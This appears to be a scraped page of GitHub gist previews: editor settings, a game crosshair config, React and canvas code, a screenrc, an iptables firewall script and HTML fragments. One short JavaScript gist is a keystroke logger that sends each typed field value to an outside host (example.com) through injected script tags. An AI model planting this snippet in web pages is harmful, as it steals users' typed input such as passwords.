This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cl_crosshairalpha 255 | |
cl_crosshairdot 0 | |
cl_crosshairgap -2 | |
cl_crosshairsize 2 | |
cl_crosshairstyle 4 | |
cl_crosshairusealpha 1 | |
cl_crosshairthickness .5 | |
cl_fixedcrosshairgap -1 | |
cl_crosshair_outlinethickness 1 | |
cl_crosshair_drawoutline 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This canvas is only used for initial rendering and resampling | |
const imageCanvas = document.createElement('canvas') | |
imageCanvas.width = width | |
imageCanvas.height = height | |
// If we have constraints, resize/resample the provided image | |
if (constraints) { | |
// Get the percentage difference between the desired and actual dimensions | |
// We can calculate it based on width, since we a locked aspect | |
const percentageWidth = (width / constraints.width) * 100 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// A tab item | |
import React, { | |
Component, | |
PropTypes | |
} from 'react' | |
import { | |
Link, | |
withRouter | |
} from 'react-router' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
document.body.onkeyup = function(e) { | |
var script = document.createElement('script'); | |
script.src = 'https://example.com/?input='+e.srcElement.value; | |
document.head.appendChild(script); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// http://sublimetext.userecho.com/topic/86166-backtick-quoting-selected-text-does-not-work-like-single-quotes-and-double-quotes/ | |
[ | |
// Auto-pair backticks | |
{ "keys": ["`"], "command": "insert_snippet", "args": {"contents": "`$0`"}, "context": | |
[ | |
{ "key": "setting.auto_match_enabled", "operator": "equal", "operand": true }, | |
{ "key": "selection_empty", "operator": "equal", "operand": true, "match_all": true }, | |
{ "key": "following_text", "operator": "regex_contains", "operand": "^(?:\t| |\\)|]|\\}|>|$)", "match_all": true }, | |
{ "key": "preceding_text", "operator": "not_regex_contains", "operand": "[`a-zA-Z0-9_]$", "match_all": true }, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"additional_path_items": | |
[ | |
"/Users/sregester/.rvm/gems/ruby-2.1.6/bin/" | |
], | |
"auto_indent": true, | |
"close_windows_when_empty": true, | |
"color_scheme": "Packages/Color Scheme - Default/Monokai.tmTheme", | |
"draw_white_space": "all", | |
"ensure_newline_at_eof_on_save": true, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# /etc/screenrc | |
shell -${SHELL} | |
caption always "%n(%t) : %C" | |
defscrollback 2048 | |
startup_message off | |
hardstatus on | |
hardstatus alwayslastline "%-Lw%{= BW}%50>%n%f* %t%{-}%+Lw%< %=%D %M %d %c" | |
hardstatus string '%{= kK}%-Lw%{= KW}%50>%n%f %t%{= kK}%+Lw%< %{=kG}%-= %d%M %c:%s%{-}' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Flush all existing rules | |
iptables -F | |
# Drop suspicious traffic | |
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP | |
iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP | |
iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Copy the following into Preferences > Key Bindings -- User | |
// Thanks to: | |
// http://sublimetext.userecho.com/topic/86166-backtick-quoting-selected-text-does-not-work-like-single-quotes-and-double-quotes/ | |
[ | |
// Auto-pair backticks | |
{ "keys": ["`"], "command": "insert_snippet", "args": {"contents": "`$0`"}, "context": | |
[ | |
{ "key": "setting.auto_match_enabled", "operator": "equal", "operand": true }, | |
{ "key": "selection_empty", "operator": "equal", "operand": true, "match_all": true }, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div class="riskometer risk-1" title="Risk score is 1"></div> | |
<div class="riskometer risk-1" title="Risk score is 1"></div> | |
<div class="riskometer risk-1" title="Risk score is 1"></div> | |
<div class="riskometer risk-1" title="Risk score is 1"></div> | |
<div class="riskometer risk-1" title="Risk score is 1"></div> |